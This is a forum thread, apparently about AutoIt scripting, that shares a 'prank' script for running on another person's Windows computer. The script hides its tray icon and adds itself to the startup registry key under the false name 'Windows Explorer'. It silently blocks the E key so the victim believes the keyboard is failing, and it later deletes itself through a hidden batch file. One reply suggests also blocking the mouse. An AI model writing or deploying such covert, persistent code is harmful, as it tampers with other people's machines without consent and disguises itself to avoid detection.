Prank Script!

[scythetleppo]

This is a very simple script, and I stole the delete-itself part from somewhere on this site, it's not from me.

#NoTrayIcon
RegWrite("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows Explorer", "REG_SZ", @ScriptFullPath)
Hotkeyset("E","Nothing")
Hotkeyset("e","Nothing")
HotKeySet("+!n", "ShowMessage")
Func Nothing()
EndFunc
Func ShowMessage()
    MsgBox(0, "Nathan is Awesome", "That's what you get for messing with Nate...")
    RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows Explorer")
    _SelfDelete()
    exit
EndFunc
Func _SelfDelete($iDelay = 0)
    Local $sCmdFile
    FileDelete(@TempDir & "\scratch.bat")
    $sCmdFile = 'ping -n ' & $iDelay & '127.0.0.1 > nul' & @CRLF _
            & ':loop' & @CRLF _
            & 'del "' & @ScriptFullPath & '"' & @CRLF _
            & 'if exist "' & @ScriptFullPath & '" goto loop' & @CRLF _
            & 'del ' & @TempDir & '\scratch.bat'
    FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
    Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
EndFunc
while 1
wend

What it does is, it first tells windows to run it everytime it starts up. Then it makes it so whenever you press e or E, no matter what you are doing, it just won't work! This hopefully will drive the poor victim to replace his keyboard multiple times and think he is going crazy!

Watch out Jesse here it comes!

When you finally do want them to find out, tell them to do ALT-SHIFT-N that will pop up a message that in this case says "That's what you get for messing with Nate..." but you can change that easily above. Then it removes the registry entry it had created, and deletes itself!

This isn't a big technical achievement, it's just a fun one!

[Jos]

Yea ...right ... brilliant ... funny .......

[rrrm99]

would be funnier if it didnt allow mouse to move lol

whats the "while 1

Wend"

at the end for?